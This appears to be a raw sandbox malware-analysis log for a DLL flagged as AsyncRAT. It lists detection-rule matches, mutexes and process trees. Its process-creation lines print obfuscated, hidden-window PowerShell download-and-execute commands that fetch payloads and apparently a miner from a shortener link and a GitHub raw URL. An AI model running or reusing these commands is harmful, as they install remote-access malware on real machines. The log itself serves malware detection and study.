Source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE	Matched rule: Detects unknown malware sample with pastebin RAW URL Author: Florian Roth
Source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects unknown malware sample with pastebin RAW URL Author: Florian Roth
Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E896A2	6_2_00007FF848E896A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E888F6	6_2_00007FF848E888F6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF848E9D146	15_2_00007FF848E9D146
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF848E9DEF2	15_2_00007FF848E9DEF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF848E9EB74	15_2_00007FF848E9EB74

Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Unknown_Malware_Sample_Jul17_2 date = 2017-08-01, hash1 = 3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52, author = Florian Roth, description = Detects unknown malware sample with pastebin RAW URL, reference = https://goo.gl/iqH8CK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE	Matched rule: Unknown_Malware_Sample_Jul17_2 date = 2017-08-01, hash1 = 3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52, author = Florian Roth, description = Detects unknown malware sample with pastebin RAW URL, reference = https://goo.gl/iqH8CK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE	Matched rule: Unknown_Malware_Sample_Jul17_2 date = 2017-08-01, hash1 = 3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52, author = Florian Roth, description = Detects unknown malware sample with pastebin RAW URL, reference = https://goo.gl/iqH8CK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE	Matched rule: Unknown_Malware_Sample_Jul17_2 date = 2017-08-01, hash1 = 3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52, author = Florian Roth, description = Detects unknown malware sample with pastebin RAW URL, reference = https://goo.gl/iqH8CK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE	Matched rule: Unknown_Malware_Sample_Jul17_2 date = 2017-08-01, hash1 = 3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52, author = Florian Roth, description = Detects unknown malware sample with pastebin RAW URL, reference = https://goo.gl/iqH8CK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Unknown_Malware_Sample_Jul17_2 date = 2017-08-01, hash1 = 3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52, author = Florian Roth, description = Detects unknown malware sample with pastebin RAW URL, reference = https://goo.gl/iqH8CK, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 17.2.powershell.exe.289cd920000.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDLL@61/50@5/6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\lUsD8dOCffz6TR7t
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1372:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5n45w3s.gmu.ps1

Jump to behavior

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll,DllRegisterServer

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Virustotal: Detection: 63%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll,DllRegisterServer
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD20F.tmp" "c:\Users\user\AppData\Local\Temp\txglqdpo\CSCFCCF7DA9204A4074A4DB161ACEE12220.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDAD9.tmp" "c:\Users\user\AppData\Local\Temp\moha2pjv\CSCA4149D862A5C4366874B2835B59D82E1.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC30.tmp" "c:\Users\user\AppData\Local\Temp\amlysbvw\CSC2A1C7825B77E498896BC74C8D6453DCB.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDFCA.tmp" "c:\Users\user\AppData\Local\Temp\nkfeparf\CSC893044B012DD471D94F368B2CDB922.TMP"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline"
